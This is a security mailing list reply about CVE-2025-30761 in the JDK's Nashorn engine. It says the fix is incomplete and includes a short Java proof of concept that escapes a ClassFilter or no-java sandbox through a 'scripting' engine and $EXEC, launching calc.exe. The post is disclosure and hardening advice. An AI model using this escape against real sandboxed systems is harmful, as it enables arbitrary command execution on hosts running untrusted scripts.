oss-security - Re: CVE-2025-30761：A vulnerability in JDK's Nashorn Allows for Arbitrary Code Execution

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Message-ID: <2aef7fe7-ba3d-4d6f-bcc4-19163beaaea2@eenterphace.org>
Date: Sun, 20 Jul 2025 18:26:27 +0200
From: Moritz Bechler <mbechler@...terphace.org>
To: oss-security@...ts.openwall.com, liyajie <liyajie@...neuler.sh>
Subject: Re: CVE-2025-30761：A vulnerability in JDK's Nashorn Allows for Arbitrary Code Execution

Hi,

interesting that they "fixed" this issue now. Way back 
(<https://mbechler.github.io/2019/03/02/Beware-the-Nashorn/>) reporting 
something similar, I was told that Nashorn "sandboxing" was not supposed 
to be secure unless you also configure a SecurityManager (which 
implicitly suppresses the "engine" property). Restrictions purely based 
on a ClassFilter have been broken ever since then.

And the patch really does not address the fundamental issue, which is 
that you are able to get and configure a new engine. While the change 
may stop you from suppressing the inherited no-java flag, why not get 
direct command execution using another option instead:

System.setProperty("nashorn.args", "--no-java");
ScriptEngine e = new ScriptEngineManager().getEngineByName("nashorn");
String cmd =
"this.engine.factory.getScriptEngine(\"scripting\").eval('$EXEC(\"calc.exe\")')";
e.eval(cmd);

So, imho, the proper advice still should be not to use Nashorn for 
running untrusted code.

best regards

Moritz

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